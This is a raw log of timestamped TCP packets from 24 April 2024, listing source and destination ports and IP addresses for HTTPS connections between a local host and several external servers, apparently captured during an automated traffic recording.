Apr 24, 2024 08:22:06.072201967 CEST	49813	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.102685928 CEST	49814	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.102771044 CEST	443	49814	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.103029966 CEST	49814	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.103357077 CEST	49814	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.103398085 CEST	443	49814	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.434679031 CEST	443	49814	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.435069084 CEST	49814	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.435132027 CEST	443	49814	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.435484886 CEST	443	49814	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.435851097 CEST	49814	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.435945034 CEST	443	49814	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.436327934 CEST	49814	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.480164051 CEST	443	49814	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.716789007 CEST	443	49811	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.716914892 CEST	443	49811	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.717006922 CEST	443	49811	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.717042923 CEST	49811	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.717058897 CEST	443	49811	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.717156887 CEST	443	49811	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.717206955 CEST	49811	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.717216015 CEST	443	49811	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.717262030 CEST	49811	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.717266083 CEST	443	49811	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.717391014 CEST	443	49811	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.717437983 CEST	49811	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.717447042 CEST	443	49811	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.717531919 CEST	443	49811	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.717586994 CEST	49811	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.717593908 CEST	443	49811	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.731156111 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.731225014 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.731277943 CEST	49813	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.731293917 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.731307983 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.731352091 CEST	49813	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.731766939 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.731976032 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.732001066 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.732018948 CEST	49813	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.732034922 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.732140064 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.732183933 CEST	49813	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.732193947 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.732239962 CEST	49813	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.732418060 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.756351948 CEST	443	49812	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.756396055 CEST	443	49812	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.756414890 CEST	443	49812	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.756460905 CEST	49812	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.756483078 CEST	443	49812	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.756603956 CEST	49812	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.756611109 CEST	443	49812	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.756669044 CEST	443	49812	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.756720066 CEST	49812	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.756726980 CEST	443	49812	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.757127047 CEST	443	49812	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.757153034 CEST	443	49812	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.757172108 CEST	49812	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.757177114 CEST	443	49812	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.757236004 CEST	49812	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.757246971 CEST	443	49812	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.769597054 CEST	49811	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.785401106 CEST	49813	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.800831079 CEST	49812	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.848685980 CEST	443	49811	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.848880053 CEST	443	49811	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.848937035 CEST	49811	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.848947048 CEST	443	49811	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.849033117 CEST	443	49811	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.849092960 CEST	49811	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.849101067 CEST	443	49811	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.849425077 CEST	443	49811	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.849482059 CEST	49811	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.849488974 CEST	443	49811	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.849579096 CEST	443	49811	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.849625111 CEST	49811	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.849632025 CEST	443	49811	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.850385904 CEST	443	49811	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.850446939 CEST	49811	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.850454092 CEST	443	49811	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.851028919 CEST	443	49811	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.851089001 CEST	49811	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.851095915 CEST	443	49811	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.851191044 CEST	443	49811	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.851233959 CEST	49811	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.851239920 CEST	443	49811	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.851445913 CEST	443	49811	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.851495981 CEST	49811	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.852256060 CEST	49811	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.852271080 CEST	443	49811	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.858863115 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.859209061 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.859236956 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.859266043 CEST	49813	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.859297991 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.859339952 CEST	49813	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.859591007 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.859703064 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.859756947 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.859797001 CEST	49813	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.859807014 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.859848976 CEST	49813	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.860452890 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.860575914 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.860603094 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.860615015 CEST	49813	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.860625029 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.860687971 CEST	49813	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.861438036 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.861493111 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.861589909 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.861618996 CEST	49813	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.861629963 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.861668110 CEST	49813	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.862346888 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.862464905 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.862504959 CEST	49813	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.862513065 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.863215923 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.863275051 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.863332033 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.863342047 CEST	49813	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.863352060 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.863368034 CEST	49813	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.889559984 CEST	443	49812	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.889797926 CEST	443	49812	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.889820099 CEST	443	49812	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.889854908 CEST	49812	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.889877081 CEST	443	49812	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.889921904 CEST	49812	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.890213013 CEST	443	49812	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.890382051 CEST	443	49812	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.890444994 CEST	49812	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.890450954 CEST	443	49812	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.891213894 CEST	443	49812	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.891298056 CEST	443	49812	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.891341925 CEST	49812	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.891347885 CEST	443	49812	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.891386032 CEST	49812	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.891395092 CEST	443	49812	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.892070055 CEST	443	49812	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.892090082 CEST	443	49812	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.892142057 CEST	49812	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.892148972 CEST	443	49812	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.892714977 CEST	49812	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.892719030 CEST	443	49812	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.893018961 CEST	443	49812	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.893268108 CEST	443	49812	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.893320084 CEST	49812	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.893326044 CEST	443	49812	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.893404961 CEST	443	49812	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.893448114 CEST	49812	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.893452883 CEST	443	49812	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.894279003 CEST	443	49812	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.894300938 CEST	443	49812	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.894328117 CEST	49812	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.894334078 CEST	443	49812	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.894345045 CEST	49812	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.910227060 CEST	49813	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.910257101 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.941452980 CEST	49812	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.957107067 CEST	49813	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.988342047 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.988575935 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.988598108 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.988643885 CEST	49813	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.988662004 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.988724947 CEST	49813	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.988974094 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.989165068 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.989207029 CEST	49813	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.989216089 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.989976883 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.990025043 CEST	49813	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.990034103 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.990114927 CEST	49813	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.990787983 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.990833998 CEST	49813	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.990959883 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.991007090 CEST	49813	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.991745949 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.991799116 CEST	49813	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.992652893 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.992707014 CEST	49813	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.992716074 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.992758989 CEST	49813	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.992768049 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.992809057 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:06.992923975 CEST	49813	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.995430946 CEST	49813	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:06.995460987 CEST	443	49813	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:07.023962975 CEST	443	49812	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:07.024000883 CEST	443	49812	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:07.024156094 CEST	443	49812	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:07.024219990 CEST	49812	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:07.024231911 CEST	443	49812	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:07.024503946 CEST	443	49812	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:07.024544954 CEST	49812	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:07.024549961 CEST	443	49812	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:07.024574995 CEST	443	49812	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:07.024580002 CEST	49812	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:07.024610996 CEST	49812	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:07.048409939 CEST	49812	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:07.048429012 CEST	443	49812	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:07.193166018 CEST	443	49814	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:07.193286896 CEST	443	49814	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:07.193329096 CEST	49814	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:07.193416119 CEST	443	49814	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:07.193485975 CEST	49814	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:07.193485975 CEST	49814	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:10.436314106 CEST	49816	443	192.168.2.6	142.250.141.103
Apr 24, 2024 08:22:10.436351061 CEST	443	49816	142.250.141.103	192.168.2.6
Apr 24, 2024 08:22:10.436420918 CEST	49816	443	192.168.2.6	142.250.141.103
Apr 24, 2024 08:22:10.438292980 CEST	49816	443	192.168.2.6	142.250.141.103
Apr 24, 2024 08:22:10.438307047 CEST	443	49816	142.250.141.103	192.168.2.6
Apr 24, 2024 08:22:10.792987108 CEST	443	49816	142.250.141.103	192.168.2.6
Apr 24, 2024 08:22:10.793329000 CEST	49816	443	192.168.2.6	142.250.141.103
Apr 24, 2024 08:22:10.793348074 CEST	443	49816	142.250.141.103	192.168.2.6
Apr 24, 2024 08:22:10.793798923 CEST	443	49816	142.250.141.103	192.168.2.6
Apr 24, 2024 08:22:10.794156075 CEST	49816	443	192.168.2.6	142.250.141.103
Apr 24, 2024 08:22:10.794239998 CEST	443	49816	142.250.141.103	192.168.2.6
Apr 24, 2024 08:22:10.836991072 CEST	49816	443	192.168.2.6	142.250.141.103
Apr 24, 2024 08:22:10.887054920 CEST	443	49717	167.89.115.54	192.168.2.6
Apr 24, 2024 08:22:10.887142897 CEST	443	49717	167.89.115.54	192.168.2.6
Apr 24, 2024 08:22:10.887320042 CEST	49717	443	192.168.2.6	167.89.115.54
Apr 24, 2024 08:22:12.657919884 CEST	49717	443	192.168.2.6	167.89.115.54
Apr 24, 2024 08:22:12.657984972 CEST	443	49717	167.89.115.54	192.168.2.6
Apr 24, 2024 08:22:13.293133020 CEST	49817	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:13.293180943 CEST	443	49817	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:13.293241024 CEST	49817	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:13.293508053 CEST	49817	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:13.293525934 CEST	443	49817	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:13.626421928 CEST	443	49817	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:13.626874924 CEST	49817	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:13.626892090 CEST	443	49817	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:13.627238989 CEST	443	49817	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:13.627650023 CEST	49817	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:13.627712965 CEST	443	49817	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:13.628293037 CEST	49817	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:13.676115036 CEST	443	49817	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:13.761151075 CEST	443	49770	104.17.2.184	192.168.2.6
Apr 24, 2024 08:22:13.761217117 CEST	443	49770	104.17.2.184	192.168.2.6
Apr 24, 2024 08:22:13.761343956 CEST	49770	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:22:14.377772093 CEST	443	49817	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:14.377871037 CEST	443	49817	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:14.377919912 CEST	49817	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:14.378093004 CEST	49817	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:14.378114939 CEST	443	49817	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:14.635874033 CEST	49770	443	192.168.2.6	104.17.2.184
Apr 24, 2024 08:22:14.635905981 CEST	443	49770	104.17.2.184	192.168.2.6
Apr 24, 2024 08:22:15.699815989 CEST	49818	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:15.699853897 CEST	443	49818	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:15.699917078 CEST	49818	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:15.700475931 CEST	49818	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:15.700490952 CEST	443	49818	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:16.027589083 CEST	443	49818	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:16.028115988 CEST	49818	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:16.028135061 CEST	443	49818	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:16.028474092 CEST	443	49818	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:16.029035091 CEST	49818	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:16.029094934 CEST	443	49818	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:16.071019888 CEST	49818	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:20.818614006 CEST	443	49816	142.250.141.103	192.168.2.6
Apr 24, 2024 08:22:20.818710089 CEST	443	49816	142.250.141.103	192.168.2.6
Apr 24, 2024 08:22:20.818754911 CEST	49816	443	192.168.2.6	142.250.141.103
Apr 24, 2024 08:22:23.475023985 CEST	49819	443	192.168.2.6	20.10.31.115
Apr 24, 2024 08:22:23.475074053 CEST	443	49819	20.10.31.115	192.168.2.6
Apr 24, 2024 08:22:23.475271940 CEST	49819	443	192.168.2.6	20.10.31.115
Apr 24, 2024 08:22:23.476150036 CEST	49819	443	192.168.2.6	20.10.31.115
Apr 24, 2024 08:22:23.476162910 CEST	443	49819	20.10.31.115	192.168.2.6
Apr 24, 2024 08:22:23.515364885 CEST	49816	443	192.168.2.6	142.250.141.103
Apr 24, 2024 08:22:23.515379906 CEST	443	49816	142.250.141.103	192.168.2.6
Apr 24, 2024 08:22:24.150504112 CEST	443	49819	20.10.31.115	192.168.2.6
Apr 24, 2024 08:22:24.150599003 CEST	49819	443	192.168.2.6	20.10.31.115
Apr 24, 2024 08:22:24.154874086 CEST	49819	443	192.168.2.6	20.10.31.115
Apr 24, 2024 08:22:24.154884100 CEST	443	49819	20.10.31.115	192.168.2.6
Apr 24, 2024 08:22:24.155955076 CEST	443	49819	20.10.31.115	192.168.2.6
Apr 24, 2024 08:22:24.158087015 CEST	49819	443	192.168.2.6	20.10.31.115
Apr 24, 2024 08:22:24.158180952 CEST	49819	443	192.168.2.6	20.10.31.115
Apr 24, 2024 08:22:24.158188105 CEST	443	49819	20.10.31.115	192.168.2.6
Apr 24, 2024 08:22:24.158581972 CEST	49819	443	192.168.2.6	20.10.31.115
Apr 24, 2024 08:22:24.200145006 CEST	443	49819	20.10.31.115	192.168.2.6
Apr 24, 2024 08:22:24.377964020 CEST	443	49819	20.10.31.115	192.168.2.6
Apr 24, 2024 08:22:24.378179073 CEST	443	49819	20.10.31.115	192.168.2.6
Apr 24, 2024 08:22:24.378252029 CEST	49819	443	192.168.2.6	20.10.31.115
Apr 24, 2024 08:22:24.378649950 CEST	49819	443	192.168.2.6	20.10.31.115
Apr 24, 2024 08:22:24.378664970 CEST	443	49819	20.10.31.115	192.168.2.6
Apr 24, 2024 08:22:26.402852058 CEST	49821	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:26.402901888 CEST	443	49821	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:26.403161049 CEST	49821	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:26.403554916 CEST	49821	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:26.403573990 CEST	443	49821	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:26.739573002 CEST	443	49821	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:26.740219116 CEST	49821	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:26.740284920 CEST	443	49821	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:26.741487026 CEST	443	49821	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:26.741869926 CEST	49821	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:26.742084980 CEST	443	49821	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:26.742697954 CEST	49821	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:26.788132906 CEST	443	49821	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:27.471709967 CEST	443	49821	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:27.471875906 CEST	443	49821	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:27.472078085 CEST	49821	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:27.472078085 CEST	49821	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:27.472078085 CEST	49821	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:31.021900892 CEST	443	49818	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:31.021980047 CEST	443	49818	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:31.022854090 CEST	49818	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:32.875116110 CEST	49818	443	192.168.2.6	172.67.143.205
Apr 24, 2024 08:22:32.875147104 CEST	443	49818	172.67.143.205	192.168.2.6
Apr 24, 2024 08:22:37.820663929 CEST	49823	443	192.168.2.6	35.190.80.1
Apr 24, 2024 08:22:37.820693970 CEST	443	49823	35.190.80.1	192.168.2.6
Apr 24, 2024 08:22:37.823762894 CEST	49823	443	192.168.2.6	35.190.80.1
Apr 24, 2024 08:22:37.823762894 CEST	49823	443	192.168.2.6	35.190.80.1
Apr 24, 2024 08:22:37.823791027 CEST	443	49823	35.190.80.1	192.168.2.6
Apr 24, 2024 08:22:38.175633907 CEST	443	49823	35.190.80.1	192.168.2.6
Apr 24, 2024 08:22:38.175998926 CEST	49823	443	192.168.2.6	35.190.80.1
Apr 24, 2024 08:22:38.176028013 CEST	443	49823	35.190.80.1	192.168.2.6
Apr 24, 2024 08:22:38.177491903 CEST	443	49823	35.190.80.1	192.168.2.6
Apr 24, 2024 08:22:38.177561045 CEST	49823	443	192.168.2.6	35.190.80.1
Apr 24, 2024 08:22:38.177964926 CEST	49823	443	192.168.2.6	35.190.80.1
Apr 24, 2024 08:22:38.178046942 CEST	443	49823	35.190.80.1	192.168.2.6
Apr 24, 2024 08:22:38.178107023 CEST	49823	443	192.168.2.6	35.190.80.1
Apr 24, 2024 08:22:38.178113937 CEST	443	49823	35.190.80.1	192.168.2.6
Apr 24, 2024 08:22:38.226999044 CEST	49823	443	192.168.2.6	35.190.80.1
Apr 24, 2024 08:22:38.569308996 CEST	443	49823	35.190.80.1	192.168.2.6
Apr 24, 2024 08:22:38.569477081 CEST	443	49823	35.190.80.1	192.168.2.6
Apr 24, 2024 08:22:38.569580078 CEST	49823	443	192.168.2.6	35.190.80.1
Apr 24, 2024 08:22:38.605386019 CEST	49823	443	192.168.2.6	35.190.80.1
Apr 24, 2024 08:22:38.605407953 CEST	443	49823	35.190.80.1	192.168.2.6
Apr 24, 2024 08:22:38.606477976 CEST	49824	443	192.168.2.6	35.190.80.1
Apr 24, 2024 08:22:38.606564045 CEST	443	49824	35.190.80.1	192.168.2.6
